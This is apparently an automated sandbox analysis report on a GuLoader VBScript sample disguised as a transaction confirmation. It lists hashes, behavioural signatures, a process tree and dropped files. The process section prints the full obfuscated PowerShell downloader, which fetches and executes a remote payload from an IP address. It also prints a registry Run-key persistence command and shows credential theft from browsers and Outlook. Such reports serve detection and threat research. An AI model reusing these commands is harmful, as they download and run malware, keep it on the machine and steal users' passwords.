Analysis
-
max time kernel
149s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
27-06-2024 06:39
Static task
static1
Behavioral task
behavioral1
Sample
Transaction_Execution_Confirmation_000000.vbs
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
Transaction_Execution_Confirmation_000000.vbs
Resource
win10v2004-20240611-en
General
-
Target
Transaction_Execution_Confirmation_000000.vbs
-
Size
187KB
-
MD5
37f090cc76db33c457b77c6b2c6bb13d
-
SHA1
7c499fca1564ea4fb48cc2b72212bc3f857443ab
-
SHA256
36e517cbfb12bd2e58446d7ae27d76baf3e454a793e8c629667fe067839ec23f
-
SHA512
90aeb5b01c9309c49f35541d97f7532ed7a564fee986bf111a6f33bb41339e54f9972368179632ee5d6bdd8840811dc665a56ff5a26b159bbe764279f7be0de3
-
SSDEEP
3072:VmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZJ:V08GxbKja3+DCbKCvBB/WnHXC/sLJFJW
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/3132-62-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/3416-57-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Nirsoft 3 IoCs
Processes:
resource yara_rule behavioral2/memory/3132-62-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/5048-59-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/3416-57-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
Blocklisted process makes network request 2 IoCs
Processes:
WScript.exepowershell.exeflow pid process 2 316 WScript.exe 7 3144 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
wab.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wab.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\idite = "%Parcelhusomraades114% -w 1 $Unrealise=(Get-ItemProperty -Path 'HKCU:\\Forfordelte\\').Selvskrevet;%Parcelhusomraades114% ($Unrealise)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
Processes:
wab.exepid process 1896 wab.exe 1896 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 1772 powershell.exe 1896 wab.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
powershell.exewab.exedescription pid process target process PID 1772 set thread context of 1896 1772 powershell.exe wab.exe PID 1896 set thread context of 3416 1896 wab.exe wab.exe PID 1896 set thread context of 3132 1896 wab.exe wab.exe PID 1896 set thread context of 5048 1896 wab.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
powershell.exepowershell.exewab.exewab.exepid process 3144 powershell.exe 3144 powershell.exe 1772 powershell.exe 1772 powershell.exe 1772 powershell.exe 3416 wab.exe 3416 wab.exe 5048 wab.exe 5048 wab.exe 3416 wab.exe 3416 wab.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
Processes:
powershell.exewab.exepid process 1772 powershell.exe 1896 wab.exe 1896 wab.exe 1896 wab.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 3144 powershell.exe Token: SeDebugPrivilege 1772 powershell.exe Token: SeDebugPrivilege 5048 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wab.exepid process 1896 wab.exe -
Suspicious use of WriteProcessMemory 33 IoCs
Processes:
WScript.exepowershell.exepowershell.exewab.execmd.exedescription pid process target process PID 316 wrote to memory of 3144 316 WScript.exe powershell.exe PID 316 wrote to memory of 3144 316 WScript.exe powershell.exe PID 3144 wrote to memory of 4880 3144 powershell.exe cmd.exe PID 3144 wrote to memory of 4880 3144 powershell.exe cmd.exe PID 3144 wrote to memory of 1772 3144 powershell.exe powershell.exe PID 3144 wrote to memory of 1772 3144 powershell.exe powershell.exe PID 3144 wrote to memory of 1772 3144 powershell.exe powershell.exe PID 1772 wrote to memory of 3040 1772 powershell.exe cmd.exe PID 1772 wrote to memory of 3040 1772 powershell.exe cmd.exe PID 1772 wrote to memory of 3040 1772 powershell.exe cmd.exe PID 1772 wrote to memory of 1896 1772 powershell.exe wab.exe PID 1772 wrote to memory of 1896 1772 powershell.exe wab.exe PID 1772 wrote to memory of 1896 1772 powershell.exe wab.exe PID 1772 wrote to memory of 1896 1772 powershell.exe wab.exe PID 1772 wrote to memory of 1896 1772 powershell.exe wab.exe PID 1896 wrote to memory of 396 1896 wab.exe cmd.exe PID 1896 wrote to memory of 396 1896 wab.exe cmd.exe PID 1896 wrote to memory of 396 1896 wab.exe cmd.exe PID 396 wrote to memory of 2384 396 cmd.exe reg.exe PID 396 wrote to memory of 2384 396 cmd.exe reg.exe PID 396 wrote to memory of 2384 396 cmd.exe reg.exe PID 1896 wrote to memory of 3416 1896 wab.exe wab.exe PID 1896 wrote to memory of 3416 1896 wab.exe wab.exe PID 1896 wrote to memory of 3416 1896 wab.exe wab.exe PID 1896 wrote to memory of 3416 1896 wab.exe wab.exe PID 1896 wrote to memory of 3132 1896 wab.exe wab.exe PID 1896 wrote to memory of 3132 1896 wab.exe wab.exe PID 1896 wrote to memory of 3132 1896 wab.exe wab.exe PID 1896 wrote to memory of 3132 1896 wab.exe wab.exe PID 1896 wrote to memory of 5048 1896 wab.exe wab.exe PID 1896 wrote to memory of 5048 1896 wab.exe wab.exe PID 1896 wrote to memory of 5048 1896 wab.exe wab.exe PID 1896 wrote to memory of 5048 1896 wab.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Transaction_Execution_Confirmation_000000.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111 Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111';$Concordens = 1;Function Graasteners($Lipoferous){$Tamilers=$Lipoferous.Length-$Concordens;$Skvttende98='SUBSTRIN';$Skvttende98+='G';For( $Ozonospheric=1;$Ozonospheric -lt $Tamilers;$Ozonospheric+=2){$Beruselsernes+=$Lipoferous.$Skvttende98.Invoke( $Ozonospheric, $Concordens);}$Beruselsernes;}function strkningspunkter($Paleothermal){ & ($Visnomy) ($Paleothermal);}$Dynamoers=Graasteners 'TM o.zFiNl l a /F5F. 0, F( W i.n dko wMsH NBT, S1H0m.c0 ; HW iFn 6.4 ;D .x 6 4A;s .r v :,1,2 1F. 0d) PGYeAcUkFo./F2I0 1S0,0C1R0 1F FPi.rKeEfPoPxF/,1S2 1 .,0S ';$Rykindene=Graasteners 'JU.sEeMr -sA.gUeNnSt, ';$Unmobilised=Graasteners 'KhTt t,pF: / /M1 0 3S.O1M9 5S. 2P3F7c. 4,3T/BMMiGnJiTmCu,m,tCrFy kPkSeBtK.tdMeHpDl.oSyG ';$Albatrosen=Graasteners ' >f ';$Visnomy=Graasteners ' i eCxS ';$Skansekldningers='Cementstberis';$Forlagsprotokol = Graasteners ' eGc,hDo. % a,p,pFdFaHtAa % \ P o.s,t eGrAipo r m.o sDt..,HCeCb, &H&s eFc,h.o, WtH ';strkningspunkter (Graasteners ' $TgPldo b a lS: nMoAnUc.oBs m o pTo lDi tpi.s m = (.c,m,dR A/Bc S$,FYo r lIa,g s pDrToStuo,kBoRlC)H ');strkningspunkter (Graasteners '.$Bg,l.oFb aLl.: BSr uDg.e r fCl.a dCe,r,sA= $ U,nSm.oAb.iKl.iOs,e dS..s.pLlNi,t (M$HAUl bSa t rUoesKeSnS) ');strkningspunkter (Graasteners ',[ NSe tI. S eAr,vCiBc eBPBoUi n.t M,aBn.aHg eOrA] :D:sSTe cFu,rMi,t y PKrUo t.o c.oSlB U= a[ NOeZt .TS.eVcSu.r,i t.yOPVr oStPo cBo.lpT ypp.eQ]U:r:GTDlAs 1 2A ');$Unmobilised=$Brugerfladers[0];$stoftilfrsels= (Graasteners ' $Tg lUoPbNa l.: SPu,pFeBrAf oHr m,a lMnJe s sF=BN e.w - O,bEjSeRc.t ,SCyMs,t ebm .SNUe tT.FWPe b.C lSiAe nft');$stoftilfrsels+=$noncosmopolitism[1];strkningspunkter ($stoftilfrsels);strkningspunkter (Graasteners 'B$PS u pPeAr f o r.m aRl n e.s s..SH e a dTe.ros,[L$DR y k.i nRd e n e ]F=.$ D.y n.a mNo e rRs. ');$Naboskab=Graasteners ',$ SSuup eSr.fCoTr mUaNl,n egs sA.JD oSwMnKl o.abd.FSiSl e,(,$ UDnOmYoDbPiIlAiUsBe do,.$wT,u,bNe,rAkKl,e,rM) ';$Tuberkler=$noncosmopolitism[0];strkningspunkter (Graasteners 'T$ng l.oSbKaAl,:fa e n dBr.iAnHg sCfAo r sWl,a g,=C(,TBe smt -IP a,tVhT S$VT u bCeUr kBlRe.rC)M ');while (!$aendringsforslag) {strkningspunkter (Graasteners ',$Ag l oGb,aSl :.MEaUySp oslceI= $etHrKu,e ') ;strkningspunkter $Naboskab;strkningspunkter (Graasteners 'HSKtAa.r,tR-MS l e eGpJ .4O ');strkningspunkter (Graasteners ',$ g lRoSb aTlF:SaCe.n,d.r,iFnFgGsBfKoRrMsPl a gZ=D(ATIeSs tB-,P a.t hS $CT,u bMe r k l e,r )i ') ;strkningspunkter (Graasteners ' $SgBl oGbkaAl : dBu.lAcMi f,lGuOoSu s = $Fg,lAo bLa.ls:OR eMs p e cFtSa nFtL+.+U%C$GB,r uDgReMr,f.l a.dAeDr s .UcdoSuUnst. ') ;$Unmobilised=$Brugerfladers[$dulcifluous];}$Paatnktes=334318;$Bewet=26301;strkningspunkter (Graasteners ' $.g.lHoSb,a lP:FI,s c rHe,mke.rBsS .=K ,G eCtP-PC oAn,tTeGnOt S$.T uVbHeBrRk lDeVr, ');strkningspunkter (Graasteners ' $ g.lBo.b.aCl :SBFa g e fMoDr mFeUnS A=. D[KS.y sMtVeSmU.DCHoSn v e r t ] : :VF,rUo,mPBMa sFeA6.4 S tDr i.nFgC( $MI sMcKrSe m.e rDsT) ');strkningspunkter (Graasteners ' $,g,l.oCbDa lS:,U nTiMnHvSo.kNa.b l eT =, S[FSSyBs t e.m .IT eRxAtP. E n.cCoKdKi nIgU].:F:.A.SPC I IV.eGOeKtDS.t,rCi n.g ( $TB.aAgGeBfEo rCm.e.nL)P ');strkningspunkter (Graasteners ',$ gAlEo.bOa lR:RI c hSnOo.gMrEaZpLh,i,eMs.=T$ U nSi n v oTkEaMb l eS. s u,b.s tCr i.nBg (F$ P a a,t n kAt e sM,A$CBHe.w,e t )A ');strkningspunkter $Ichnographies;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posteriormost.Heb && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111 Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111';$Concordens = 1;Function Graasteners($Lipoferous){$Tamilers=$Lipoferous.Length-$Concordens;$Skvttende98='SUBSTRIN';$Skvttende98+='G';For( $Ozonospheric=1;$Ozonospheric -lt $Tamilers;$Ozonospheric+=2){$Beruselsernes+=$Lipoferous.$Skvttende98.Invoke( $Ozonospheric, $Concordens);}$Beruselsernes;}function strkningspunkter($Paleothermal){ & ($Visnomy) ($Paleothermal);}$Dynamoers=Graasteners 'TM o.zFiNl l a /F5F. 0, F( W i.n dko wMsH NBT, S1H0m.c0 ; HW iFn 6.4 ;D .x 6 4A;s .r v :,1,2 1F. 0d) PGYeAcUkFo./F2I0 1S0,0C1R0 1F FPi.rKeEfPoPxF/,1S2 1 .,0S ';$Rykindene=Graasteners 'JU.sEeMr -sA.gUeNnSt, ';$Unmobilised=Graasteners 'KhTt t,pF: / /M1 0 3S.O1M9 5S. 2P3F7c. 4,3T/BMMiGnJiTmCu,m,tCrFy kPkSeBtK.tdMeHpDl.oSyG ';$Albatrosen=Graasteners ' >f ';$Visnomy=Graasteners ' i eCxS ';$Skansekldningers='Cementstberis';$Forlagsprotokol = Graasteners ' eGc,hDo. % a,p,pFdFaHtAa % \ P o.s,t eGrAipo r m.o sDt..,HCeCb, &H&s eFc,h.o, WtH ';strkningspunkter (Graasteners ' $TgPldo b a lS: nMoAnUc.oBs m o pTo lDi tpi.s m = (.c,m,dR A/Bc S$,FYo r lIa,g s pDrToStuo,kBoRlC)H ');strkningspunkter (Graasteners '.$Bg,l.oFb aLl.: BSr uDg.e r fCl.a dCe,r,sA= $ U,nSm.oAb.iKl.iOs,e dS..s.pLlNi,t (M$HAUl bSa t rUoesKeSnS) ');strkningspunkter (Graasteners ',[ NSe tI. S eAr,vCiBc eBPBoUi n.t M,aBn.aHg eOrA] :D:sSTe cFu,rMi,t y PKrUo t.o c.oSlB U= a[ NOeZt .TS.eVcSu.r,i t.yOPVr oStPo cBo.lpT ypp.eQ]U:r:GTDlAs 1 2A ');$Unmobilised=$Brugerfladers[0];$stoftilfrsels= (Graasteners ' $Tg lUoPbNa l.: SPu,pFeBrAf oHr m,a lMnJe s sF=BN e.w - O,bEjSeRc.t ,SCyMs,t ebm .SNUe tT.FWPe b.C lSiAe nft');$stoftilfrsels+=$noncosmopolitism[1];strkningspunkter ($stoftilfrsels);strkningspunkter (Graasteners 'B$PS u pPeAr f o r.m aRl n e.s s..SH e a dTe.ros,[L$DR y k.i nRd e n e ]F=.$ D.y n.a mNo e rRs. ');$Naboskab=Graasteners ',$ SSuup eSr.fCoTr mUaNl,n egs sA.JD oSwMnKl o.abd.FSiSl e,(,$ UDnOmYoDbPiIlAiUsBe do,.$wT,u,bNe,rAkKl,e,rM) ';$Tuberkler=$noncosmopolitism[0];strkningspunkter (Graasteners 'T$ng l.oSbKaAl,:fa e n dBr.iAnHg sCfAo r sWl,a g,=C(,TBe smt -IP a,tVhT S$VT u bCeUr kBlRe.rC)M ');while (!$aendringsforslag) {strkningspunkter (Graasteners ',$Ag l oGb,aSl :.MEaUySp oslceI= $etHrKu,e ') ;strkningspunkter $Naboskab;strkningspunkter (Graasteners 'HSKtAa.r,tR-MS l e eGpJ .4O ');strkningspunkter (Graasteners ',$ g lRoSb aTlF:SaCe.n,d.r,iFnFgGsBfKoRrMsPl a gZ=D(ATIeSs tB-,P a.t hS $CT,u bMe r k l e,r )i ') ;strkningspunkter (Graasteners ' $SgBl oGbkaAl : dBu.lAcMi f,lGuOoSu s = $Fg,lAo bLa.ls:OR eMs p e cFtSa nFtL+.+U%C$GB,r uDgReMr,f.l a.dAeDr s .UcdoSuUnst. ') ;$Unmobilised=$Brugerfladers[$dulcifluous];}$Paatnktes=334318;$Bewet=26301;strkningspunkter (Graasteners ' $.g.lHoSb,a lP:FI,s c rHe,mke.rBsS .=K ,G eCtP-PC oAn,tTeGnOt S$.T uVbHeBrRk lDeVr, ');strkningspunkter (Graasteners ' $ g.lBo.b.aCl :SBFa g e fMoDr mFeUnS A=. D[KS.y sMtVeSmU.DCHoSn v e r t ] : :VF,rUo,mPBMa sFeA6.4 S tDr i.nFgC( $MI sMcKrSe m.e rDsT) ');strkningspunkter (Graasteners ' $,g,l.oCbDa lS:,U nTiMnHvSo.kNa.b l eT =, S[FSSyBs t e.m .IT eRxAtP. E n.cCoKdKi nIgU].:F:.A.SPC I IV.eGOeKtDS.t,rCi n.g ( $TB.aAgGeBfEo rCm.e.nL)P ');strkningspunkter (Graasteners ',$ gAlEo.bOa lR:RI c hSnOo.gMrEaZpLh,i,eMs.=T$ U nSi n v oTkEaMb l eS. s u,b.s tCr i.nBg (F$ P a a,t n kAt e sM,A$CBHe.w,e t )A ');strkningspunkter $Ichnographies;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posteriormost.Heb && echo t"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "idite" /t REG_EXPAND_SZ /d "%Parcelhusomraades114% -w 1 $Unrealise=(Get-ItemProperty -Path 'HKCU:\Forfordelte\').Selvskrevet;%Parcelhusomraades114% ($Unrealise)"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "idite" /t REG_EXPAND_SZ /d "%Parcelhusomraades114% -w 1 $Unrealise=(Get-ItemProperty -Path 'HKCU:\Forfordelte\').Selvskrevet;%Parcelhusomraades114% ($Unrealise)"6⤵
- Adds Run key to start application
- Modifies registry key
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\olmbfnjjxmqfuqzkekotqcbeaqxlscgec"5⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qfzlg"5⤵
- Accesses Microsoft Outlook accounts
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\aheegyff"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4xkph3y1.ica.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\olmbfnjjxmqfuqzkekotqcbeaqxlscgecFilesize
4KB
MD5e9689445546dfde0d7496318bfbef6c8
SHA1824304b951603171084b88d6879f474b77fddcdd
SHA2563e57870283553f2a55d674391c0f2d04f3324b916553c5fe05ea391dab4be00e
SHA512fc3ec8fe99f11bc0a5156a3ebc7746cfc8dfa7526030f30223e9e09b8e23de1e04f77aaa87bed9926c4810ec3de3385e57d6817f416a1dbd64e5ae27c8e3e65f
-
C:\Users\Admin\AppData\Roaming\Posteriormost.HebFilesize
469KB
MD53f23a530f6d6ccaa63bae1e6741b03f6
SHA1363207a5637e5bb7b2a7d7ba933661562cfaf506
SHA256c2fbb6039b145b52d429bcaf5ffb57cc83951c8032e06edfc19bb36dfe5bdede
SHA512b88ecae312e9dbd2dbf409b9097434968999dcf44ddf4257937725682ecb5e233b3a4fb676ebcef5bd36b072bb8feb7f3c7f3c1bcbc0d9b55610287d4bb9da31
-
memory/1772-23-0x0000000005530000-0x0000000005596000-memory.dmpFilesize
408KB
-
memory/1772-21-0x0000000004CF0000-0x0000000004D12000-memory.dmpFilesize
136KB
-
memory/1772-19-0x0000000002260000-0x0000000002296000-memory.dmpFilesize
216KB
-
memory/1772-20-0x0000000004E20000-0x0000000005448000-memory.dmpFilesize
6.2MB
-
memory/1772-42-0x00000000085C0000-0x000000000BB74000-memory.dmpFilesize
53.7MB
-
memory/1772-22-0x00000000054C0000-0x0000000005526000-memory.dmpFilesize
408KB
-
memory/1772-35-0x0000000005BC0000-0x0000000005C0C000-memory.dmpFilesize
304KB
-
memory/1772-33-0x00000000055A0000-0x00000000058F4000-memory.dmpFilesize
3.3MB
-
memory/1772-34-0x0000000005B90000-0x0000000005BAE000-memory.dmpFilesize
120KB
-
memory/1772-40-0x0000000008010000-0x00000000085B4000-memory.dmpFilesize
5.6MB
-
memory/1772-36-0x00000000073E0000-0x0000000007A5A000-memory.dmpFilesize
6.5MB
-
memory/1772-37-0x0000000006120000-0x000000000613A000-memory.dmpFilesize
104KB
-
memory/1772-38-0x0000000006E50000-0x0000000006EE6000-memory.dmpFilesize
600KB
-
memory/1772-39-0x0000000006DE0000-0x0000000006E02000-memory.dmpFilesize
136KB
-
memory/1896-66-0x0000000021280000-0x0000000021299000-memory.dmpFilesize
100KB
-
memory/1896-69-0x0000000021280000-0x0000000021299000-memory.dmpFilesize
100KB
-
memory/1896-70-0x0000000021280000-0x0000000021299000-memory.dmpFilesize
100KB
-
memory/1896-46-0x0000000002120000-0x00000000056D4000-memory.dmpFilesize
53.7MB
-
memory/3132-56-0x0000000000400000-0x0000000000462000-memory.dmpFilesize
392KB
-
memory/3132-53-0x0000000000400000-0x0000000000462000-memory.dmpFilesize
392KB
-
memory/3132-62-0x0000000000400000-0x0000000000462000-memory.dmpFilesize
392KB
-
memory/3144-44-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmpFilesize
10.8MB
-
memory/3144-49-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmpFilesize
10.8MB
-
memory/3144-15-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmpFilesize
10.8MB
-
memory/3144-5-0x0000020E63920000-0x0000020E63942000-memory.dmpFilesize
136KB
-
memory/3144-16-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmpFilesize
10.8MB
-
memory/3144-43-0x00007FFB3C133000-0x00007FFB3C135000-memory.dmpFilesize
8KB
-
memory/3144-4-0x00007FFB3C133000-0x00007FFB3C135000-memory.dmpFilesize
8KB
-
memory/3416-52-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB
-
memory/3416-54-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB
-
memory/3416-57-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB
-
memory/5048-59-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
-
memory/5048-55-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
-
memory/5048-58-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB